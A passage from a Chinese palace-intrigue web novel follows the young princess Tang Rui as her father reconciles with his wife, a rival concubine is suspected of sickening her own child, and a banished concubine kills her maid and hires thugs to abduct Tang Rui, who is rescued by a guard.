虽然不能人道,但心爱之人睡在身侧,也是一件很幸福的事呀! 只要想想,她都快幸福得晕过去了。 “那爹爹,母妃,你们睡吧,我也回去啦!” 唐蕊完成任务,这才摇头晃脑的离开。 这个家啊,没她得散! 秦芷嫣闻言赶紧给容嬷嬷使了个眼色。 容嬷嬷笑道:“王妃放心,老奴会照顾好小郡主的。” 几年的独守空闺,终于拨开云雾见月明了。 她也衷心为王妃高兴,更感激唐蕊。 “那…王爷,妾身先让奴才们去烧水,给你泡泡腿,这样你也能睡得舒服一些。” 秦芷嫣红着脸,立刻指挥院儿里的奴才们忙活起来。 司徒澈一开始没所谓,在哪儿睡都是睡。 王妃嫁给了他,又不是皇后的探子,对他也不反感。 只是他现在…还不行,除了这个,也该尽量履行自己作为丈夫的责任,给秦芷嫣应该有的体面。 至于泡腿,以前他会反感别人碰触他的腿。 但唐蕊今天告诉他了,他站不起来不是因为残废了,而是因为身体里有金蚕蛊。 没有残废,心里那股自卑感也全数散了。 让他没想到的是,秦芷嫣说的泡腿不止是泡腿。 屏风后面,大一号的木桶倒上了热水。 秦芷嫣特意放了一些中药材,还蹲下身捞起袖子亲手给他脱掉鞋袜,又力度适中的给他按摩着腿部。 司徒澈皱眉:“你是璃王妃,这些活让下人做就是了。” “王爷的事,妾身只想亲力亲为。” 桶中氤氲雾气升腾,衬得秦芷嫣眉眼间一片柔和,乌黑的眼眸里爱慕之意藏都藏不住:“王爷从战场回来后,妾身就专门找太医学过按摩腿部,还有这些药,也都是妾身特意找院首配置的,奴才们没个轻重,妾身担心他们伺候不好王爷。” 司徒澈也是刚知道这些事,说不感动是不可能的。 但也仅仅是感动了。 他不知道什么是喜欢,那种心动的感觉也完全没有。 他唯一有的…只有… 司徒澈摁住她的手,很是认真道:“秦芷嫣,我不喜欢你!” 秦芷嫣闻言,红润的脸逐渐褪去血色。 还不待她难过,只听司徒澈又道:“但我也不喜欢其他女子。” 秦芷嫣嘴角牵起一个勉强的笑,喉咙里挤出一句干哑的话:“王爷想说什么?” 司徒澈挑起她鬓间发丝别在她耳后,漂亮的桃花眸里染上了一层温柔的润泽:“我不知喜欢为何物,但你已是我的妻,为夫者,其妇之责。只要你不背叛我,就永远是璃王妃。我会遵守白首盟约,敬你,重你,护你,此言天地可鉴,若我违背…” “别说了!”秦芷嫣打断他的话,心里像是注入了一股暖流,连带着四肢百骸都温热起来:“王爷,有你这话,妾身死也无憾了。” 司徒澈嘴角噙着一抹让人看不分明的笑意,黝黑的眸子注视着她的脸,似乎想看出一丝什么:“你就不怨吗?嫁了个不解风情之人。” 秦芷嫣第一次不躲不闪与他对视,眼神一如既往的柔和:“妾身的娘从小就教导妾身,男子的爱是世上最善变的东西,他们也许今天会喜欢一个女子,待这女子年老色衰后,他们也会喜欢上别的女子。就像是…妾身的爹爹一样。只有男子的尊重,才是最难得的东西。王爷愿意敬我,重我,护我,这个承诺,比爱重千万分,妾身为何要怨?” “妾身…很满足,很幸福,真的…” 说到最后,秦芷嫣眼底溢出丝丝泪意。 这是欢喜的眼泪。 她觉得自己没有看错人,璃王才是世上的真男儿。 除了璃王,哪个男子还能做到璃王这般坦诚? 司徒澈确定她不怨,也放心下来,朝她伸出手:“好,以后你与我夫妻同心,共进退。” “妾身的荣幸!”秦芷嫣伸出手握住他的手。 夫妻俩相视一笑,一切尽在不言中。 … 唐蕊第二天再见到夫妻俩,是在璃王府门口。 今天她要奉旨去辰王府。 但…这夫妻俩站在门口,肩并着肩,手牵着手。 哎哟! 唐蕊哇哦一声:“爹爹,你终于开窍啦?” “小小年纪别操心大人的事!” 司徒澈尴尬的咳了咳,但也没松开秦芷嫣的手,一本正经叮嘱她:“本王今日就不陪你去了,容嬷嬷随你去辰王府。切记,不得惹是生非,懂吗?” 第34章 璃王府后院的女人都挺奇葩的 “哎呀,我知道哦。”唐蕊乌黑的眼睛不时扫过秦芷嫣那张羞涩幸福的脸,又不时扫过自家便宜爹爹的美脸,笑得非常猥琐:“爹爹还是好好陪母妃吧!” 璃王要是跑去辰王府,太子估计又会多心了。 她虽然不是什么政治家,但也不是政治小白哈! “去吧!”司徒澈没眼看,挥了挥手。 唐蕊爬上马车,又伸了个小脑瓜出来:“母妃,我回来后要吃群英楼的烤鸭。” “好!”秦芷嫣笑着点头:“母妃一会儿让人去给你买。” “那我走啦!爹爹再见,母妃再见!”唐蕊缩回小脑袋,非常开心。 容嬷嬷也上了马车,大格二格驾着马车离开。 马车里,容嬷嬷对唐蕊千恩万谢:“要不是小郡主,王爷好王妃还不知道什么时候才能亲热。” 成亲几年,一点都不像夫妻,她这看着秦芷嫣长大的奶嬷嬷也很着急呀! 现在好了,王爷终于开始正视王妃了。 昨晚更是宿在了主子院儿里。 她那可怜的主子,苦尽甘来了。 “没事没事,我也没做什么哦。”不过是让秦芷嫣有话直说罢了。 容嬷嬷笑呵呵道:“小郡主别谦虚,您为王妃做的一切,老奴都看在眼里呢!” 只是可惜,璃王不能人道。 这个想法一出,容嬷嬷就甩了甩脑袋。 不能这么想,现在的情况已经非常好了,人要学会知足。 … 璃王昨晚宿在了王妃屋里。 这个消息如一阵风传遍了璃王府。 院子里的女人们神色各异。 顾侧妃院儿里,霜蓉急得不行:“侧妃,您不能坐以待毙了。” “璃王要宠幸谁,那是他的自由,跟我有什么关系?” 顾侧妃依旧神色淡淡,却伸手掐断了瓶子里的茉莉。 脑子里不时划过昨日与璃王相处的场景,心里莫名酸涩。 … “怎么没关系呢!”朱庶妃院儿里,侍婢云吞急得跺脚:“主子,您放在心上啊!奴婢听说是因为郡主帮忙,王爷才亲近王妃的。这郡主真是,您对她这么好,她却不帮你,去帮王妃。” 朱庶妃闻言脸色瞬间冷了下来,扔开猪蹄儿:“跪下!” 云吞吓了一跳,反应过来后咬着唇,不甘不愿的跪下了。 “你胆肥儿了?敢编排蕊蕊,信不信本庶妃把你发卖出去?”朱庶妃戳着她的脑门,与平时一样,但却脸色严肃,不像是开玩笑。 云吞慌了:“主子,奴婢错了,求主子不要卖了奴婢。” “起来吧!”见她真被吓到,朱庶妃才移开视线:“我还是那句话,王爷喜不喜欢我,跟王妃姐姐没关系,跟蕊蕊更是没关系,难道你还指望王妃和蕊蕊摁着王爷跟我睡觉不成?搞笑!” … “主子,奴婢不是这个意思,奴婢是想说,咱们是不是也可以去求求小郡主,帮帮忙?” 李姬院儿里,侍婢福宝比较委婉:“王爷那么在乎小郡主,连王妃都愿意亲近了,只要小郡主开口,王爷也一定会亲近您。” 李姬白了她一眼:“你是要我学父亲后院那些个上不来台面的姨娘一样,放下身段去邀宠吗?” 福宝:“!!” 搞清楚,你这侍妾跟姨娘有什么本质上的区别啊?为什么就不能邀宠了? 李姬:“王爷又不行,我邀什么宠?” … “但王爷的宠爱也很重要啊!”又不一定非得睡觉。 张姬院里,贴身侍婢红霞小声嘀咕。 张姬擦仔细擦拭着心爱的长剑,神色淡淡:“管后院的是王妃,又不是王爷,重要从何说起?” 红霞眼珠子一转,试图吓她:“主子,无宠的女人很可怜的。” 张姬终于把视线放在她身上:“那你看看,我可怜吗?” 红霞:“…”无言以对。 可怜个屁! 王妃待人宽和,别家的侍妾想大大方方出门,难如登天。 可王妃从不限制这些主子的自由,更尊重她们的爱好。 看看张姬这屋里各种武器就知道了,十件有八件都是王妃送来的。 但是吧…哪个女人不争宠啊? 张姬就不想争宠,继续擦拭着长剑:“放心,根本就不用我去争。” 没猜错的话,过几天司徒澈就会来她院儿里了。 王妃那个恋爱脑的娘好歹是世家女。 世家培养出来的女儿,哪能不知道平衡后院的重要性? 就算司徒澈不懂,王妃这个事事以他为主的恋爱脑,也会提醒司徒澈! … 不得不说,璃王府后院的女人都挺奇葩的。 别的后院甚至后宫,哪个地方的女人不是斗得你死我活? 偏偏她们都有各自的想法和理由,不愿意斗来斗去伤了姐妹情分。 唐蕊从不担心这个问题。 恋爱脑有多恐怖,容忍度有多高,她还是知道的。 庶母们又不是不讲道理的坏女人。 母妃自会处理好其他庶母的情绪,不会让爹爹忧心。 到了辰王府,她受到了辰王一家热情的款待。 昨晚一回来,辰王立刻给司徒郯用了一颗丹药。 结果好嘛,今天司徒郯的状态立刻好了起来,早上吃了两碗饭,吃完后看他在打拳,还嚷嚷着想学。 辰王妃看到儿子终于像正常孩子那样,别提多高兴了,对唐蕊也无比感激。 这不,听宝贝儿子说,唐蕊喜欢美食,于是立刻让厨房备了满满一桌。 席间还一直拉着唐蕊的手,夸她可爱聪慧,最后还亲手给她喂上饭了。 唐蕊怪不好意思的,一擦嘴巴奶声奶气纠正:“三皇婶,虽然我很可爱,你喜欢我喜欢得不得了,但也不用喂饭哈,我自己能吃哦。” “呵呵呵…”辰王妃被她这话逗得直乐呵:“好好好,咱们蕊蕊这么小就能自己吃饭了,好厉害呀!” “那是,我…嗝…最厉害!” “怎么打嗝啦?来人,端碗水来。” “没事没事,我喝汤就好。” 唐蕊一手拿着鸡腿,一手拿着鸡翅,啃得满嘴是油。 容嬷嬷还赶紧给她盛了碗汤。 辰王此时也适时开口:“蕊蕊,郯儿想练武,他这…可以吗?” 唐蕊点点头:“可以哦,我说了,服用丹药后,他就能和正常孩子一样哦。” 第35章 她会学着适应这个时代,却不会被这个时代同 “好,好好!”辰王揉了揉司徒郯的脑袋:“父王下午就教你。” “谢谢父王!”司徒郯说着,还不忘往唐蕊碗里夹肉:“这鱼好吃,这驴肉也好吃,你尝尝。” “谢谢堂哥,你也吃!”来而不往非礼也,唐蕊也放下鸡翅膀,腾出手给他夹了一筷子驴肉:“不用忌讳什么哦,没事的,你就像正常人那样,吃个七八分饱都行,就是别喝酒哈!” 辰王妃闻言一愣:“蕊蕊,郯儿要忌酒吗?” “不是!”唐蕊一脸无语:“我的意思是,郯堂兄太小了,没到喝酒的年纪哦。” “这样啊…太好了…”辰王妃爱怜的看着司徒郯:“我儿终于能过正常人的生活了。” 就在这时,一道不合时宜的声音传来:“王爷,何庶妃说二少爷有些不舒服,邀您去瞧瞧。” 辰王妃闻言脸色沉了下来,重重的放下筷子:“不知道今天有贵客上门吗?还有没有规矩了?” 辰王也不满道:“不舒服就去找府医,本王又不会治病!” 来报信的侍婢扑通一声跪下了,满脸焦急:“王爷,可是庶妃现在已经慌了,六神无主,求您还是去看看吧!” 辰王皱眉,眼底不耐之色越来越重:“本王知道了,你先回去。” “多谢王爷,多谢王爷…”侍婢磕了三个头,这才离开。 辰王看向辰王妃,神色无奈:“王妃,本王去看看她,你和郯儿陪蕊蕊吃吧!” “王爷去吧!”辰王妃神色淡淡,明显很不爽。 辰王苦涩一笑,又揉了揉唐蕊的脑瓜子,让她吃过饭和郯儿玩一会儿再回去。 唐蕊自然是应下了。 辰王走后,辰王妃明显兴致不高。 司徒郯给她夹了一筷子菜,温声安抚:“母妃,二弟也是父王的孩子,还要管你叫一声母妃,父王不可能不管不顾。” “我知道,只是她这孩子三天两头的病,每次还都是在你父王跟我在一起的时候,真的好烦!” 明明健健康康的一个孩子,经常生病就算了,每次都还病得那般巧,真是见鬼了。 辰王妃说罢,这才反应过来唐蕊还在,不好意思的朝她笑了笑:“蕊蕊,你是你,她是她,皇婶没有别的意思。” 唐蕊闻言一愣,不明所以:“跟我有什么关系哦?” 容嬷嬷适时开口:“郡主,这个何庶妃好像是太子妃的表妹。” “哦~”唐蕊听懂了。 太子妃的娘何氏,如今是永安侯夫人,秦芷嫣见了她都要叫一声母亲。 这何庶妃,是何氏弟弟的女儿,。 唐蕊又问嬷嬷:“母妃跟这个何庶妃关系好吗?” 容嬷嬷摇了摇头:“何庶妃当初能入辰王府,是因为在永安侯寿宴上落水,被辰王所救失了清白,不然就凭她,哪有资格入辰王府。” 见容嬷嬷说起何庶妃一脸不屑,辰王妃问道:“她是…” “三皇婶,她是我母妃的奶嬷嬷,姓容哦,如今被母妃派给我啦。” “这样啊,璃王妃对你真好!”辰王妃默默松了口气。 既然是奶嬷嬷,那就能代表璃王妃的意思了吧? 看这容嬷嬷说起何庶妃时的态度,就能猜到璃王妃跟何庶妃关系不好。 还好… 辰王妃当即像是倒豆子似的,跟容嬷嬷吐槽起来。 何庶妃入府后一开始还好,规规矩矩的。 自从生下谦哥,被辰王从侍妾提为庶妃后,就开始暴露本性了。 平时对她这个辰王妃也不尊重,没事就像今天这样把辰王叫走。 对待辰王其他女人,更是直接截胡。 辰王虽然很少给她面子,但被她这么一搞,也没心情去别的姬妾院儿里过夜了。 搞得那些姬妾第二天都会来跟她告状! 谁让她是正妃呢! 可她完全把那何庶妃没办法,每次叫她来问,她都有各种各样的理由。 不是谦哥病了,就是吃坏了肚子云云。 “本王妃真是…从没见过这么爱装又无耻的女子!”辰王妃说起何庶妃气得牙痒痒。 容嬷嬷呵呵一笑,也开始大吐苦水:“这多正常,何家本就是七品小官之家出身,因为榜上了太子,现在才成了五品知府,能有什么家教?当初那何庶妃还没嫁入辰王府时,曾在永安侯府暂住过几日。唉…老奴都不想说,她每天都会来找我家王妃,今天说我王妃戴的珠花好看,明儿个又说我家王妃的簪子不错。我家王妃装傻听不懂,她就直接开口借,可每次借了都没还过!搞得我家王妃后来都直接躲着她了,眼不见心不烦。” “对对对!”辰王妃眼睛一亮,顿时像是找到了知己:“她就是这样,府里好多女子的首饰都被她借走了。最后要么不还,要么就说弄丢了,要么就还一些不值钱的首饰。本妃活了二十年,就…就从没见过如此厚颜无耻之人!” 唐蕊:“…” 一个嬷嬷,一个王妃,居然聊上了。 让她也吃了个瓜。 很快,唐蕊吃饱了,擦了擦肉呼呼的小嘴,突然开口:“既然如此,那就让她不好过呗。” 辰王妃闻言很无奈:“本妃做不出欺压妾室的事来。” 皇子们的媳妇都是经过皇帝严格筛选的。 不是正经的世家女就是高官之女,从小接受的主要教育就是如何做好一个当家主母。 嫉妒吗? 怎么会不嫉妒! 但这个时代,男人三妻四妾是常态。 不是这个女人,也会有别的女人,灭得过来吗? 久而久之,王妃们都学会了妥协,不再奢求夫君的爱,只求他们的尊重。 在这一点上,辰王就做得很不错。 不管后院多少女人,只会尊重辰王妃一个女人,重视辰王妃所生的嫡子,奠定辰王妃当家主母的绝对地位。 一旦后院哪个女人跟辰王妃发生了冲突,他永远都会站在辰王妃这边! 唐蕊微不可见的叹了一口气。 这个时代对女人很不友好,但她处在这个时代,也没那么大的能力放话改变这个时代。 她会学着适应这个时代,却不会被这个时代同化。 “三皇婶,你就没想过,这个何庶妃的娃娃病得太及时了么?” 第36章 人性太复杂,也许每个人心里都住着魔鬼 人有亲疏远近之分,既然是欺负过母妃的人,当然要出手灭掉! 她唐蕊,专业护犊子一百年! 辰王妃很快就明白了唐蕊想表达的意思,皱了皱眉,有些惊疑不定:“你是说…何庶妃拿孩子争宠?不会吧?那可是她的亲生孩子。” 她也是做母亲的人,这些年为了自家的孩子操碎了心,每天以泪洗面。 她无法想象,有母亲能如此狠心对待自己的孩子。 唐蕊学着老爹那样挑了挑眉:“不是所有母亲都爱自己孩子,也不是所有孩子都爱自己的母亲哦。” 在现代! 长沙6岁女童被生母长期虐待案! 广东18岁少女残忍弑母事件! 江苏5岁男童被生母虐待,推下楼梯逼吃翔,双眼一级残疾。 这一桩桩一件件的还少吗? 人性太复杂,也许每个人心里都住着魔鬼。 只不过大多数人都有人性,能够克制自己某个瞬间危险的想法! 但有些人生来就没人性,无法克制自己。 唐蕊笑眯眯道:“三皇婶,建议你去宫里请太医,这个孩子怎么病的,得了什么病,相信太医一查便知哦!” “你说得没错!” 辰王妃深吸口气,当即招来自己的心腹侍婢,把自己的腰牌交给她,眉眼间只剩冷意:“去请太医,本妃今儿个倒要看看,这谦哥到底得了什么病!” 司徒郯默默凑了过来,脸颊微红,小心翼翼说道:“母妃,儿子会一直爱你的。” “好孩子,母妃知道…”看到儿子,辰王妃脸色缓和下来:“蕊蕊吃完了,要不你带她去玩会儿?” “是!”司徒郯迟疑片刻,又小心翼翼试探:“母妃,儿子能带蕊蕊出去玩吗?平时不是在家就去去国学监,都没好好逛过街。” 本想拒绝的辰王妃,看到司徒郯眼底的渴望,心也软了下来:“去吧,带上两个侍卫,注意安全。” “儿子遵命!”司徒郯眼睛一亮,看向唐蕊:“蕊蕊,哥哥带你出去玩吧!” “…”好家伙,自称哥哥了。 “既然你诚心诚意邀请了,那就走叭!” 唐蕊其实也挺想出去玩的,一会儿辰王妃要发威了,她也不适合留下来继续吃瓜。 一大一小两个娃,带上容嬷嬷和大格二格,还有辰王府的两个侍卫出发了。 天子脚下,此时又正值午后,非常热闹! 街道两旁,各式各样的小摊贩吆喝声此起彼伏。 糖人的甜香、包子的热气、还有那刚出炉的糕点香味交织在一起,引得唐蕊时不时停下脚步,流着口水不停张望。 司徒郯则像个尽职的小哥哥,一会儿给她介绍这个,一会儿又怕她走丢,一会儿又给她买吃的,全程紧紧拉着她的小手。 那份纯真的关怀让唐蕊心里暖洋洋的。 “蕊蕊,你看那个!”司徒郯突然指着不远处的一个卖木制武器的小摊,眼睛里闪烁着兴奋的光芒。 唐蕊顺着他手指的方向看去,只见小摊上放着漂亮的小木剑,小木刀,还有木制长枪。 司徒郯牵着她走过去,一眼就相中了长枪,爱不释手。 唐蕊懂了:“郯哥哥,这把长枪真适合你,你不是要跟三叔学功夫吗?就学长枪叭!” “可是…”司徒郯又有些没信心了:“我能学好吗?” “有志者事竟成,我送你!”唐蕊不等他继续犹豫,扫了容嬷嬷一眼。 容嬷嬷秒懂,递给小贩一些铜钱。 司徒郯脸色微红:“蕊蕊,我已经欠了你很多人情了,怎么还能让你付钱呢!” “没事哦,你也给我买了很多好吃的呀!以后你学会了保护我,我就当提前交保护费啦!”唐蕊没所谓,她暂时不缺钱。 可司徒郯却默默把这话记在了心里,郑重点头:“好,以后我会好好保护你的。” 唐蕊:“嗯哼!” 司徒郯是个好哥哥,哪怕辰王妃跟何庶妃不和,他也没有厚此鄙薄。 又掏出钱,给何庶妃的娃娃司徒谦选了把小木剑:“谦哥六岁了,以后父王教我功夫,他也能跟着一起学。” “对!”唐蕊见他眼睛亮晶晶,没好意思扫他的兴,告诉他防人之心不可无。 古代的小孩,穷人家的得早当家,早熟。 富人家的庶母兄弟姐妹多,勾心斗角都是常事,也会被逼着催熟。 那个谦哥… 没记错的话,她砸晕司徒郯之前,本来走在司徒郯前面的就是司徒谦吧! 可司徒谦呢? 躲开了! 让他身子不好的嫡兄遭遇危险。 从这一点就能看出,司徒谦可没什么关爱长兄的美德。 司徒郯把两把木制武器递给侍卫,又拉着唐蕊继续逛。 两个孩子一路上买买停停,几个下人跟在后面,手里提了不少东西,却也是满脸笑意。 只是,唐蕊太能吃了。 一路过来,那小嘴叭叭的就没停过。 路过肉包摊,买! 路过点心铺,买! 还没吃完呢,路过云吞摊,又盯着摊主热气腾腾的大锅开始流口水了。 司徒郯:“…” 默默低头看着她的肚肚,冒出跟容嬷嬷相同的疑惑。 不小! 但也不大! 怎么能装这么多食物? 都吃哪儿去了? 两人没发现,巷子里一双阴狠的眼睛一直注视着二人…准确来说是注视着唐蕊! 刘姬一身普通妇人打扮,脸上厚厚的黄粉都遮不住一脸倦容,头发随意挽起,还插着一根木簪。 她死死盯着唐蕊,眼中满是怨毒。 身侧的侍婢樱落注意到她那扭曲的神情,暗暗心惊:“主子,咱们赶紧走吧,要是被郡主发现就不好了。” “走?走什么走?我被迫离开璃王府,都怪她!” 刘姬咬着牙,低声咒骂:“小贱人,今日定要让你付出代价。” 樱落急了:“主子,本来就是我们有错在先,让人往郡主屋里放蛇,要不是顾侧妃提前通知我们,我们根本就没时间逃走,早就被王爷抓住了。现在…” 啪! 话没说完,刘姬一个大逼兜子扇了过去:“贱婢闭嘴!” 樱落:“…” 刘姬:“你别忘了,你的卖身契还在我手上,再多说一句,我就把你卖去青楼!” 樱落垂下眼眸,恨得咬牙切齿。 璃王府的日子多好过啊?刘姬却偏偏要搞事情。 第37章 竟敢当街抢昭华郡主 现在还想谋害唐蕊。 唐蕊可是郡主,谋害郡主是死罪啊! 相比起来,还不如去青楼呢! 至少能留一条命不是? “我是绝对不会跟你同流合污的。”樱落深吸一口气,转身就走。 刘姬惊呆了:“你疯了?” “是你疯了,你是什么身份?郡主是什么身份?你究竟是哪里来胆子害她?” “我要回璃王府,我要去揭发你,我不要再跟你颠沛流离。” 樱落碎碎念叨,脚步不停。 刘姬六神无主,慌乱之下瞟到地上的石头,顿时恶向胆边生,举起石头快步来到樱落身后,一石头砸了下去。 “贱婢,一会儿再收拾你!”刘姬把她拖到一边靠着墙坐下,又摸出了仅剩的五两银子,阴狠的看了一眼开心吃云吞的唐蕊。 她没注意到,樱落头上渗出鲜血,气息逐渐微弱… … 唐蕊一连炫了两碗云吞,满足的摸着自己的小肚肚,朝老板竖起大拇指:“老板,你家的云吞真好次。” “哈哈哈…贵人喜欢就好!”没有老板不喜欢听这话:“以后常来啊!” “必须哒!”唐蕊擦了擦小嘴,小声嘀咕:“肚子太小乐,不然应该能多炫几碗。” 容嬷嬷和大格二格早就习惯了,司徒郯和两个侍卫没见过,都惊呆了。 司徒郯艰难道:“蕊蕊,你吃那么多,都吃哪儿去了?” “肚子里哇!”唐蕊起身,拍了拍自己的小肚肚:“郯哥哥,咱们继续逛叭,我又有力气了哦。” “好…好…”老天奶! 这个堂妹太能吃了。 七皇叔养得起吗? 司徒郯心不在焉的起身,牵着唐蕊往前继续走。 就在这时,一群五大三粗的壮汉横冲直撞朝着这边而来。 很多路人都被他们撞到了,但没人敢发火。 因为这些大汉一看就不好惹。 司徒郯没有注意,被撞了个结结实实,整个人差点飞出去。 还好两个侍卫手脚利索,赶紧接住了他。 “你们干什么?”大格此时却大喝一声,抓住了一个络腮胡子的手。 司徒郯抬眸看去,神色一惊。 只见那络腮胡子居然提起了唐蕊。 络腮胡子也没想到大格反应这么快,立刻给其他几个大汉使了个眼色。 那些大汉全都围了过来,二话不说对着大格一顿胖揍:“臭小子别管闲事。” “快去帮忙!” 司徒郯刚开口,两个侍卫还没来得及动,一道人影从天而降。 只见银光一闪,抓住唐蕊的络腮胡子,一条胳膊被砍断了。 络腮胡子惨叫出声,其他大汉看到这一幕全都傻眼了。 唐蕊落地,一脸懵逼的看着挡在自己面前的背影,后领还被那条断臂抓着的。 “兄弟们,硬茬子,走!”络腮胡子一声大喝。 大汉们纷纷往四面八方跑去。 络腮胡子也想跑,黑影如鬼魅般闪到他身后,一脚踹翻他。 还不等他起来,一脚踩在他胸口,一张脸面无表情。 周围的百姓们早就散开了,躲在角落看着这一幕指指点点。 容嬷嬷此时也认出了黑影,狠狠的松了一口气:“明月,还好你在。” 唐蕊站起来,拖着那条断臂,好奇的瞅着容嬷嬷:“嬷嬷,他是谁哇?” “是王爷的贴身暗卫,王爷命他一直在暗处保护你,还好有他,不然你就被这些人抓走了。” 容嬷嬷凶巴巴的瞪着那个络腮胡子,掷地有声道:“好大的胆子,光天化日,天子脚下,竟敢当街强抢昭华郡主。” 角落里躲着的百姓们一听是昭华郡主,纷纷冒出头来,不可置信的看着唐蕊。 这就是昭华郡主? 别说。长得是和璃王爷挺像的。 再看那个络腮胡子,百姓们指指点点。 郡主都敢抢,真是活够了。 络腮胡子痛得龇牙咧嘴,一听容嬷嬷这话,眼底满是惊惧:“什、什么郡主?你说这个小女娃是郡主?” 容嬷嬷指着唐蕊后领拖着的断臂:“人证物证俱在,你还不承认吗?” “不是,我不知道她是郡主啊!”络腮胡子冤枉死了,用剩下的一条手臂微微颤颤从怀里摸出了五两银子,着急解释:“是一个女人,她说她的女儿跟她赌气不肯回家,就给了我这些银子,让我们把她带回去。” 容嬷嬷怒道:“胡说八道,你分明还是想抢。” 络腮胡子急得都快哭了:“我说的都是真的,她说她女儿不听话,让我直接把她带过去,我才会那么做。” 容嬷嬷无语了。 周围围观的路人也顿时用一种看傻逼的眼神看着他。 还有一个百姓似乎认识他,张口就道:“我说二狗,你傻不傻?她说你就信啊?你真是想钱想疯了。” “我也不想的,我娘病了,我没钱给她请大夫…官爷,郡主,郡主!”二狗连滚带爬朝唐蕊跪下,不停的磕起头来:“我真不知道您是郡主,如果我知道,给我一百个胆子我也不敢这么做啊!” 唐蕊也是醉了,这人也太傻了吧:“那个女人呢?” “她就在前面的巷子里!” 二狗一指不远处的巷子,不用唐蕊开口,大格立刻跑了过去。 结果,只看到了樱落的尸体。 得! 知道是谁了! 大格跑了回来:“郡主,只有樱落的尸体,应该是府中逃走的刘姬。” 唐蕊:“…” 这女人是不是疯了? 一次次的为难她这个小女娃,有病吗? 唐蕊决定回府后告状,但… 看着面前痛哭流涕的二狗,唐蕊无奈道:“你起来叭,我相信你!” 容嬷嬷急了:“郡主!” “嬷嬷,你都说了,这是天子脚下,谁敢青天白日当街抢人哦?他都断了一条胳膊了。” 倒霉悲催的… 唐蕊招了大格来:“你跟他回去,如果他所说属实,就给他一些银钱,让他为母亲治病叭!” “多谢郡主,多谢郡主,呜呜呜…”二狗只恨自己蠢,也感激唐蕊的不计较。 不然绑架郡主这个罪名坐实,他就不止断一条胳膊这么简单了。 唐蕊挥挥手,大格走了过去:“起来,带我去你家!” “是,谢谢官爷,谢谢…”二狗擦了一把泪,捂着断臂站起身来。 明月看了唐蕊一眼,身影一闪不见了。 周围的百姓窃窃私语,这事明显成了他们茶余饭后的谈资。 司徒郯很郁闷:“蕊蕊,我不该带你出来的。” 第38章 我是小白菜 “郯哥哥说什么哦,我总不能因为一个刘姬,一辈子待在家里不出门叭?” “…”话是这么说没错,但… “好啦好啦,郯哥哥,你快回去叭,我也要回璃王府啦,得告诉爹爹这件事。” “我送你!” “不用啦,你快回去!” 唐蕊谢绝后,带着容嬷嬷和二格回到了璃王府。 明月先她一步回府。 在书房找一圈没找到司徒澈,最后还是在秦芷嫣院里找到他的。 王府里养着这么多下人,账目也不少,查完了账还要算每个下人的月给。 司徒澈腿脚不便,也不用天天往朝堂上跑,左右无事,今天就继续帮秦芷嫣的忙了。 明月来时,司徒澈与秦芷嫣坐在亭子里翻看着账目,徐嬷嬷在两人身边记录着什么。 忽略徐嬷嬷的话,两人倒有点岁月静好内味儿了。 明月忽然出现,吓了秦芷嫣一跳。 “莫怕!明月是本王的暗卫。” 司徒澈一声安慰,秦芷嫣这才松了口气:“妾身不怕,就是突然出现,完全没有心理准备。” 说是这么说,秦芷嫣心里想的却是,以前的司徒澈果然没相信过她。 不然她为何从来不知,府里还有明月这么一个暗卫? 司徒澈看向明月,眸色冷凝:“不是让你跟在蕊蕊身边吗?可是蕊蕊出了什么事?” 明月悄咪咪的看了秦芷嫣一眼。 司徒澈合上账本,放到一边:“王妃不是外人,直说便是。” 昨天他才说了,只要秦芷嫣不背叛,他会给秦芷嫣最大的尊重,把她当自己人。 既然说了,就会做到。 接收到明月视线正想回避的秦芷嫣,抿唇一笑,又坐了下来,眉眼都是掩藏不住的欢喜与感动。 “…”好叭! 司徒澈都这么说了,明月也不避讳秦芷嫣了。 简单把刘姬买凶抢唐蕊的事情说了一遍。 司徒澈闻言脸色冷了下来。 秦芷嫣一颗心都提了起来,不用猜也知道当时的凶险:“那蕊蕊呢?可有受伤?” 明月有些小得意:“属下在,不可能伤。” “菩萨保佑…”秦芷嫣看向司徒澈,迟疑片刻还是说道:“王爷,这刘姬本是母后身边的女官,您说…这是不是母后授意?” 先是毒蛇,现在又买凶抢人。 若是刘姬自己的主意还好,若是皇后授意,那岂不是说,皇后盯上了蕊蕊? 司徒澈沉吟片刻,也有些拿不准。 毕竟他这母后见不得他好,也许会咬定唐蕊来历不明大做文章。 明月反应与二人截然不同,有些跃跃欲试:“要杀皇后吗?” 秦芷嫣一听这话,差点咬到自己的舌头,不可置信的看着他。 司徒澈额头滑落黑线:“明月,不可胡言,那好歹是本王生母。” 弑母的罪名背上,他也与那个位置也彻底绝缘了。 更何况,他对皇后不是没有感情。 以前的皇后对他和太子都很好,俨然一个慈母。 他始终都记得小时候皇后对他的爱护与关心。 也许是他哪里没做好,皇后才会厌了他吧… 明月眼底划过一丝可惜:“哦!” 司徒澈想起皇后,心里有些失落,面上却半丝不显:“刘姬是刘姬,皇后是皇后,刘姬谋害郡主已是板上钉钉,去应天府报备,让他们下通缉令。” “是!”明月拱手,身影一闪消失在原地。 秦芷嫣看着司徒澈,虽然这个男人面色如常,但她隐隐能感觉到他身上散发出来的失落情绪。 秦芷嫣有些心疼,柔声劝道:“王爷不必难过,你还有我,有后院一众姐妹,还有蕊蕊这个女儿,我们一家人把日子过好比什么都强。” 司徒澈苦涩一笑:“换做是你,不会难过吗?” 秦芷嫣然一笑,温声细语:“妾身的生母还在时,对妾身很好,但妾身的父亲却格外偏爱秦芷媃。小时候妾身也会难过,会委屈,但妾身已经长大,也过了需要父爱的年纪。妾身有你,有蕊蕊,有自己的家,妾身一点都不难过了。” “王妃说得对!”司徒澈叹息一声,点了点头。 他也过了需要母爱的年纪了。 皇后对他好或不好,都不重要了。 没一会儿,唐蕊也回来了,撅着小嘴跑了来,一头扎进秦芷嫣怀里泪眼汪汪:“母妃,我好可怜哦,差点被人抢走啦。” “蕊蕊不哭哦,母妃已经知道这事了,王爷也让明月去应天府备案,要对刘姬下通缉令了。”秦芷嫣掏出手帕擦掉她眼角的泪,也有些后怕:“刘姬没抓到之前,尽量少出门,实在想出去,就多带人。” “嗯嗯!”唐蕊点头,又看向司徒澈,用力挤出两滴眼泪:“爹爹,要不还是把我那些毒药还给我叭,这些坏人防不胜防,哪天我要是不幸被抓到,连自保之力都木有。” “呵…”搁这等着呢! 他就说,这妮子胆子那么大,怎么会因为这点虚惊就哭:“不可能!” 唐蕊吸了吸鼻子,胖乎乎的小脸又可怜了几分:“爹爹,万一我死了,你就没有亲亲宝贝女儿了哦。” “明月武功高强,以后你去国学监,也把大格二格带上,不会有事的。”司徒澈没得商量。 